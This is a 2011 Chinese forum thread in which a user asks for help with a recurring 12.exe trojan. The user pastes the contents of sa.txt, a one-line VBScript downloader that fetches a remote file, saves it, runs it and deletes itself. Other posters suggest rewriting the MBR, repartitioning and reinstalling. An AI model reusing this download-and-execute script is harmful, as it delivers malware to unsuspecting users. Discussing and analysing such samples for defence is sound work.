12.exe木马

thghx · 发表于 2011-1-22 22:08

这段时间，电脑上经常被查出C盘下有12.exe还有sa.txt文件，查杀后过两天又自动出现了，连续几次重装系统都不管用，到今天的时候有一个非常熟悉的网友问我**充值卡的事，我才知道事情比我想像的要严重。从网上查了一下，根本没有好的解决办法，不知道哪位朋友能帮忙？

2011年2月18日补充
我今天把sa.txt文件的内容复制了一份，用其他文件名保存，但仍然被杀毒软件查杀。内容如下：
fn=wscript.Arguments(1):set x=CreateObject("Microsoft.XMLHTTP"):x.Open "GET",wscript.Arguments(0),0:x.Send():set m=CreateObject("ADODB.Stream"):m.Mode=3:m.Type=1:m.Open():m.Write x.Resp**eBody:m.SaveToFile fn,2:set a=CreateObject("shell.application"):a.shellexecute fn:a.shellexecute "cmd.exe","/c del C:\sa.txt"
不知道谁能帮忙分析一下这个文件是什么意思？

wj96202 · 发表于 2011-1-22 22:19

备份重要c数据。进去pe,运行diskgen重建分区表重写保留扇区。然后重装系统。完成后做个ghost备份。不要急着装软件。金山在线杀毒查杀。装其他杀毒彻底扫描。几种杀毒都扫描一遍。单个杀毒容易清理不干净

thghx · 发表于 2011-1-23 08:02

这一步没操作过，能详细介绍一下吗？

dulicanyang · 发表于 2011-1-23 19:25

我被 c:\windowns下的 lee.exe病毒困扰了很久。请问这个病毒是不是感染了分区表？需要重写？是鬼影吗？

meloner · 发表于 2011-1-24 12:20

dulicanyang 发表于 2011-1-23 19:25

登录/注册后可看大图

我被 c:\windowns下的 lee.exe病毒困扰了很久。请问这个病毒是不是感染了分区表？需要重写？是鬼影吗？

感染引导区的病毒，
diskgen重写引导区，清除保留扇区，论坛系统的启动界面都有diskgen这个软件

fuzhenxing · 发表于 2011-1-24 12:56

装360试试，干脆点就重新分区

748926638 · 发表于 2011-1-25 11:15

有没有把c盘格式化主引导记录写一下再装系统看看呢

dulicanyang · 发表于 2011-1-25 18:20

本帖最后由 dulicanyang 于 2011-1-25 18:24 编辑

重写了MBR ，重做了系统。顺便做了免疫文件夹。以观后效。。。

陶成君 · 发表于 2011-1-27 20:48

如果不行把硬盘初始化！

bah676 · 发表于 2011-1-27 23:16

把硬盘清零，分区做系统

fuzhenxing · 发表于 2011-1-28 15:27

简单点就重新分区，再装系统

tlgsw · 发表于 2011-1-28 15:37

楼上正解，差不多了

hxbnm123 · 发表于 2011-1-31 20:09

6.0系统的话就换其他版本

珍惜开心 · 发表于 2011-2-1 09:54

支持一下哦

jzlwg · 发表于 2011-2-1 15:20

换个电脑吧这样最彻底呵呵轻轻的飘过